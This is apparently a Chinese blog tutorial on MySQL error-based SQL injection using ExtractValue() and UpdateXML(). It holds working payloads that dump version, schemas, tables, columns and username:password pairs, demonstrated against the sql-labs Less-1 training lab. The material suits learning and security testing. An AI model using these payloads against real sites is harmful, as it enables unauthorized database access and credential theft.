MYSQL ExtractValue、UpdateXml报错注入详解

MYSQL Extractvalue 报错注入

  • Extractvalue() 函数 使用XPath表示法从XML字符串中提取值
  • 参数 xml_frag, xpath_expr
    • xml_frag: 目标xml文档
    • xpath_expr: 利用Xpath路径法表示的查找路径
  • 报错原理:Xpath格式语法书写错误的话,就会报错

例如

 SELECT extractvalue('<a><b>x</b><b>y</b></a>','/a/b') as result

查询结果为

result
x y

如果第二个参数书写错误

 SELECT extractvalue('<a><b>x</b><b>y</b></a>','#username') as result

报错如下

-- SELECT * from users WHERE id = 1 and extractvalue(1,mid(concat(0x23,(SELECT GROUP_CONCAT(username,':',`password`) from users),0x23),159,32))
 SELECT extractvalue('<a><b>x</b><b>y</b></a>','#username') as result
> 1105 - XPATH syntax error: '#username'
> 时间: 0.001s

利用此特性可以实现报错注入

由于此报错注入和updatexml都只能爆最大32位,如果要爆出32位之后的数据,需要借助mid函数进行字符截取从而显示32位以后的数据

mid函数
参数描述
column_name必需。要提取字符的字段
start必需。开始位置
length可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本
SQL语句
  • 爆库等相关信息
SELECT * from users WHERE id = 1 and 
extractvalue(1,
mid(concat_ws(0x23,0x23,version(),user(),database(),@@version_compile_os,0x23),9,32))

在这里插入图片描述

  • 爆库
SELECT * from users WHERE id = 1 and 
extractvalue(1,
mid(concat(0x23,
(SELECT group_concat(schema_name) from information_schema.SCHEMATA),
0x23),50,32))

在这里插入图片描述

  • 爆表
SELECT * from users WHERE id = 1 and 
extractvalue(1,
mid(concat(0x23,
(SELECT group_concat(table_name) from information_schema.tables where table_schema = database()),
0x23),1,32))

在这里插入图片描述

  • 爆列
SELECT * from users WHERE id = 1 and 
extractvalue(1,
mid(concat(0x23,
(SELECT group_concat(COLUMN_NAME) from information_schema.`COLUMNS` where table_name = 'users'),
0x23),1,32))

在这里插入图片描述

  • 爆字段
SELECT * from users WHERE id = 1 and 
extractvalue(1,
mid(concat(0x23,
(SELECT GROUP_CONCAT(username,':',`password`) from users),
0x23),1,32))

在这里插入图片描述

sql-labs 演示
  • 爆关键信息
http://192.168.1.101/Less-1/?id=1' and 
extractvalue(1,
concat_ws(0x23,0x23,version(),user(),database(),@@version_compile_os)
)%23

在这里插入图片描述

  • 爆库
http://192.168.1.101/Less-1/?id=1' 
and extractvalue(1,
mid(concat(0x23, 
(SELECT group_concat(schema_name) from information_schema.SCHEMATA),
0x23),1,32))--+

在这里插入图片描述

  • 爆表
http://192.168.1.101/Less-1/?id=1' 
and extractvalue(1,
mid(concat(0x23,(SELECT group_concat(table_name) from information_schema.tables where table_schema = database())
,0x23),1,32))--+

在这里插入图片描述

  • 爆列
http://192.168.1.101/Less-1/?id=1' and 
extractvalue(1,
mid(concat(0x23,
(SELECT group_concat(COLUMN_NAME) from information_schema.`COLUMNS` where table_name = 'users'),
0x23),1,32))--+

在这里插入图片描述

  • 爆字段
http://192.168.1.101/Less-1/?id=1' and 
extractvalue(1,
mid(concat(0x23,
(SELECT GROUP_CONCAT(username,':',`password`) from users),
0x23),1,32))--+

在这里插入图片描述

MYSQL UpdateXML报错注入

  • UpdateXml() 函数 返回替换的XML片段
  • 参数 XML_document,XPath_String,new_value
    • XML_document 是string 格式,为XML文档对象的名称
    • XPath_String Xpath 格式的字符串
    • new_value ,String 格式,替换查找到的符合条件的数据
  • 报错原理,同extractValue,构造错误的Xpath,以达到报错注入
  • payload:updatexml(1,concat(0x23,payload,0x23),1)
  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值